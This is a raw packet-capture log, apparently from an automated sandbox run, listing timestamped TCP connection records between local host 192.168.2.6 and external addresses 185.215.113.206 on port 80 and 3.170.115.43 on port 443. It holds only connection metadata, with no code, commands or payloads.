Nov 17, 2024 10:07:40.626133919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626137972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626146078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626164913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626176119 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626183987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626188040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626199961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626211882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626223087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626223087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626236916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626239061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626265049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626288891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626475096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626485109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626522064 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626627922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626667976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626677990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626691103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626715899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626728058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626737118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626741886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626754045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626765966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626771927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626785040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626815081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627031088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627043009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627053976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627067089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627074003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627079010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627090931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627101898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627104998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627130032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627132893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627151012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627154112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627172947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627180099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627193928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627218962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627222061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627230883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627242088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627247095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627255917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627268076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627275944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627280951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627293110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627304077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627305984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627324104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627336025 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627346992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627356052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627367020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627370119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627377987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627388954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627388954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627402067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627413988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627415895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627424955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627437115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627445936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627449989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627470970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627485037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627856970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627866983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627878904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627907991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627928019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627935886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627939939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627952099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627966881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627966881 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627976894 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.627979994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627993107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.627999067 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628024101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628047943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628057003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628068924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628077984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628096104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628120899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628182888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628228903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628240108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628251076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628264904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628290892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628293991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628302097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628328085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628354073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628426075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628493071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628494024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628504038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628524065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628537893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628550053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628552914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628566027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628571987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628588915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628608942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628801107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628812075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628823996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628834009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628845930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628850937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628855944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628882885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628889084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628897905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628907919 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628933907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.628973007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.628994942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629015923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629024982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629035950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629041910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629061937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629079103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629081964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629125118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629154921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629164934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629174948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629194021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629194975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629209042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629220009 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629239082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629257917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629511118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629522085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629534006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629544973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629550934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629563093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629575014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629575968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629601002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629616976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.629659891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629669905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.629703999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.728406906 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.728827000 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.728861094 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.730000019 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.732033014 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.732242107 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.732347012 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.741832972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.741846085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.741858006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.741904974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.741940022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.741965055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742003918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742079973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742093086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742111921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742124081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742125988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742136955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742146969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742151022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742155075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742166042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742180109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742181063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742191076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742192030 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742213011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742224932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742225885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742238045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742258072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742289066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742290020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742331028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742362022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742378950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742389917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742400885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742409945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742409945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742413998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742428064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742435932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742455006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742464066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742486954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742506027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742563009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742613077 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742626905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742640018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742672920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742685080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742697001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742707968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742721081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742723942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742733955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742757082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742830992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742842913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742854118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742860079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742870092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742882013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742894888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.742902040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742913961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.742978096 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743024111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743036032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743046045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743062973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743071079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743074894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743087053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743102074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743103027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743112087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743122101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743140936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743144989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743160963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743170023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743174076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743192911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743194103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743207932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743213892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743221045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743237972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743242979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743253946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743263960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743268013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743275881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743288994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743305922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743329048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743334055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743349075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743359089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743370056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743388891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743408918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743437052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743525028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743536949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743546963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743557930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743563890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743566036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743582964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743618011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743640900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743653059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743663073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743674040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743680000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743685961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743690014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743699074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743710995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743716955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743743896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743752956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743841887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743854046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743872881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743882895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743882895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743894100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743897915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743910074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743921041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743933916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743944883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743947983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743956089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743969917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743978977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.743980885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.743994951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744004011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744005919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744019985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744034052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744044065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744051933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744055033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744067907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744079113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744081020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744088888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744102955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744106054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744123936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744141102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744251966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744268894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744280100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744292021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744306087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744323969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744339943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744339943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744354963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744363070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744368076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744379997 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744390965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744390965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744400024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744405031 CET	80	49892	185.215.113.206	192.168.2.6
